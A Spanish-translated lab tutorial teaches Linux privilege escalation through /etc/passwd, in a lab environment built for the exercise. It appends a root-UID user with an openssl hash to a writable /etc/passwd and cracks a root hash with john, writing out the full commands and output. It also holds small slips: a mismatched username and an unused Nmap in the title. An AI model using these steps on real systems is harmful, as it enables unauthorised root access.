Explora la escalada de privilegios a través del archivo /etc/passwd en Nmap

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

Los archivos /etc/passwd y /etc/shadow son cruciales para la autenticación de usuarios en los sistemas Linux. Si los administradores del sistema configuran incorrectamente el contenido o los permisos de estos archivos, puede dar lugar a vulnerabilidades de escalada de privilegios. En este laboratorio (lab), exploraremos métodos de escalada de privilegios aprovechando el archivo /etc/passwd.


Skills Graph

Comprensión del archivo /etc/passwd

En este paso, exploraremos la estructura y el significado del archivo /etc/passwd.

En los sistemas Linux, la información de las contraseñas de los usuarios se almacena en dos archivos: /etc/passwd y /etc/shadow. El archivo /etc/passwd contiene información de los usuarios, donde cada línea representa una única cuenta de usuario. Cada línea se divide en siete campos separados por dos puntos:

  • Nombre de usuario (Username)
  • Contraseña (si se establece en x, la contraseña se almacena en /etc/shadow)
  • Identificador de usuario (User ID - UID, 0 para el usuario root)
  • Identificador de grupo (Group ID - GID)
  • Información del usuario (Nombre completo, número de habitación, teléfono de trabajo, teléfono de casa y otros)
  • Directorio personal (Home directory)
  • Shell predeterminado (Default shell)

Ahora, abra una terminal y navegue hasta el directorio /home/labex/project para pasar al siguiente paso.

cd /home/labex/project

Obtenga la información del usuario labex del archivo /etc/passwd y guárdela en un archivo llamado labex_passwd.txt en el directorio /home/labex/project.

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

Verifique el contenido del archivo labex_passwd.txt.

cat labex_passwd.txt

Salida esperada:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

A continuación, se muestra lo que representa cada campo:

  • Nombre de usuario: test-user
  • Contraseña: almacenada en /etc/shadow (indicado por x)
  • UID: 5000
  • GID: 5000
  • Información del usuario: en este caso, está vacía
  • Directorio personal: /home/labex
  • Shell predeterminado: /usr/bin/zsh

Durante el proceso de autenticación de Linux, se producen los siguientes pasos:

  1. El nombre de usuario ingresado se compara con el primer campo de cada línea del archivo /etc/passwd.
  2. Si se encuentra una coincidencia, se compara la contraseña en el segundo campo.
  3. Después de una autenticación exitosa, los permisos del usuario se determinan por el UID (tercer campo) y el GID (cuarto campo).
  4. Es importante destacar que un UID de 0 representa al usuario root, otorgando plenos privilegios de administración, independientemente del nombre de usuario.

Como puede ver, el archivo /etc/passwd juega un papel fundamental en el proceso de autenticación de Linux. Si un atacante puede modificar este archivo, es posible que pueda obtener acceso no autorizado y elevar sus privilegios.

Escalada de privilegios a través de /etc/passwd (Acceso de escritura)

En este paso, aprenderemos cómo elevar privilegios aprovechando el acceso de escritura al archivo /etc/passwd.

  1. Primero, configuremos el entorno del laboratorio (lab). Abra una terminal y navegue hasta el directorio /home/labex/project:

    cd /home/labex/project

    Ejecute el siguiente comando para configurar el entorno del laboratorio:

    ./env_setup1.sh

    Este comando ejecutará un script que configurará el entorno del laboratorio. Debería ver una salida que indique que el entorno está listo.

  2. Después de la configuración, iniciará sesión como el usuario user001, lo que simula un acceso inicial a la shell obtenido durante una prueba de penetración.

    Navegue hasta el directorio personal del usuario user001:

    cd ~

    Use el comando whoami para verificar su usuario actual:

    whoami

    Salida esperada:

    user001

    Use el comando id para ver sus identificadores de usuario y grupo:

    id

    Salida esperada:

    uid=1001(user001) gid=1001(user001) groups=1001(user001)

    Como puede ver, es un usuario normal sin ningún privilegio especial.

  3. A continuación, verifique los permisos de los archivos /etc/passwd y /etc/shadow:

    ls -l /etc/passwd /etc/shadow

    Salida esperada:

    --wx--xrwx 1 root root    1961 Abr  5 00:21 /etc/passwd
    -rw-r----- 1 root user001 1101 Abr  5 00:21 /etc/shadow

    Tenga en cuenta que el archivo /etc/passwd tiene permisos de ejecución y escritura para todos los usuarios (--wx--xrwx), lo cual es una configuración incorrecta por parte del administrador del sistema.

Nuestro objetivo es crear una nueva entrada de usuario en el archivo /etc/passwd con un nombre de usuario personalizado, una contraseña y un UID de 0 (root). Esto nos permitirá iniciar sesión como el usuario root.

  1. Primero, examine el formato de la entrada del usuario root en el archivo /etc/passwd extrayéndola a un nuevo archivo llamado new_user_entry.txt:

    cat /etc/passwd | grep root > new_user_entry.txt

    Salida esperada cuando use el comando cat para ver el contenido del archivo new_user_entry.txt:

    root:x:0:0:root:/root:/bin/bash
  2. Para crear nuestra propia entrada, cambie el nombre de usuario de root a cualquier nombre deseado, como new-user en el archivo new_user_entry.txt:

    new-user:x:0:0:root:/root:/bin/bash
  3. Reemplace la x en el segundo campo con el hash de contraseña cifrado. Podemos usar la herramienta openssl para generar el hash de una contraseña (por ejemplo, pass123):

    openssl passwd -1 -salt ignite pass123

    Salida esperada:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

    Sustituyendo el hash en el segundo campo en el archivo new_user_entry.txt:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  4. Ahora, agregue esta línea al archivo /etc/passwd:

    echo "$(cat new_user_entry.txt)" >> /etc/passwd

    Nota: Podemos agregar la nueva entrada al archivo /etc/passwd porque tiene permisos de escritura para todos los usuarios. En un escenario del mundo real, este archivo no debería tener permisos de escritura para usuarios normales.

  5. Verifique la nueva entrada buscando new-user en el archivo /etc/passwd:

    cat /etc/passwd | grep new-user

    Salida esperada:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  6. Finalmente, cambie al usuario new-user con la contraseña pass123:

    su new-user

    Ingrese la contraseña pass123 cuando se le solicite. Ahora debería tener privilegios de root, como lo indica el cambio en el indicador de comando:

    user001@660ecfa4d7612c798ef141ab:~$ su new-user
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Escalada de privilegios a través de /etc/passwd (Hash de contraseña)

En este paso, aprenderemos cómo elevar privilegios cuando el hash de la contraseña del usuario root se almacena en el archivo /etc/passwd en lugar del archivo /etc/shadow.

  1. Primero, configuremos el entorno del laboratorio (lab). Abra una terminal y navegue hasta el directorio /home/labex/project:

    Si todavía está como new-user, puede usar el comando exit para salir de la shell actual hasta llegar a la shell de labex, luego navegue hasta el directorio /home/labex/project:

    cd /home/labex/project

    Ejecute el siguiente comando para configurar el entorno del laboratorio:

    ./env_setup2.sh

    Este comando ejecutará un script que configurará el entorno del laboratorio. Debería ver una salida que indique que el entorno está listo.

  2. Después de la configuración, iniciará sesión como el usuario user001, lo que simula un acceso inicial a la shell obtenido durante una prueba de penetración.

    Navegue hasta el directorio personal del usuario user001:

    cd ~
  3. Verifique los permisos de los archivos /etc/passwd y /etc/shadow:

    ls -l /etc/passwd /etc/shadow
    -rw-r--r-- 1 root root 2059 Abr  5 01:36 /etc/passwd
    -rw-r----- 1 root root 1101 Abr  5 00:21 /etc/shadow

    Esta vez, los permisos de los archivos están configurados correctamente y solo tiene acceso de lectura al archivo /etc/passwd.

  4. Vea el contenido del archivo /etc/passwd para encontrar el hash de la contraseña del usuario root:

    cat /etc/passwd | grep ^root > ~/hash.txt

    Verifique el contenido del archivo hash.txt ejecutando el siguiente comando:

    cat ~/hash.txt

    Salida esperada:

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

    Tenga en cuenta que el hash de la contraseña del usuario root se almacena en el segundo campo del archivo /etc/passwd. Esto suele ser el resultado de un compromiso previo del sistema o de una configuración incorrecta por parte del administrador del sistema.

  5. Ahora, ejecute john para descifrar el hash:

    john ~/hash.txt > ~/cracked.txt

    john es una popular herramienta de descifrado de contraseñas que utiliza ataques de diccionario para descifrar hashes de contraseñas. La salida indicará si la contraseña se descifró con éxito.

    Created directory: /home/user001/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Verifique el contenido del archivo cracked.txt para ver la contraseña descifrada:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    hello            (root)

    Como puede ver, john descifró con éxito la contraseña, que es hello.

  6. Use el comando su para cambiar al usuario root, ingresando la contraseña descifrada cuando se le solicite:

    su root

    Ingrese la contraseña hello cuando se le solicite. Ahora debería tener privilegios de root, como lo indica el cambio en el indicador de comando.

    user001@660ecfa4d7612c798ef141ab:~$ su root
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Resumen

En este laboratorio (lab), aprendimos sobre el proceso de autenticación de usuarios en Linux, la importancia del archivo /etc/passwd y cómo aprovecharlo para la escalada de privilegios. Cubrimos dos escenarios: (1) cuando el archivo /etc/passwd tiene permisos de escritura, lo que nos permite crear una nueva entrada de usuario con privilegios de root, y (2) cuando el hash de la contraseña del usuario root se almacena en el archivo /etc/passwd, lo que nos permite descifrar la contraseña utilizando la herramienta john. A través de la práctica práctica, adquirimos una comprensión más profunda de cómo aprovechar las configuraciones incorrectas en el archivo /etc/passwd para elevar privilegios en un sistema Linux.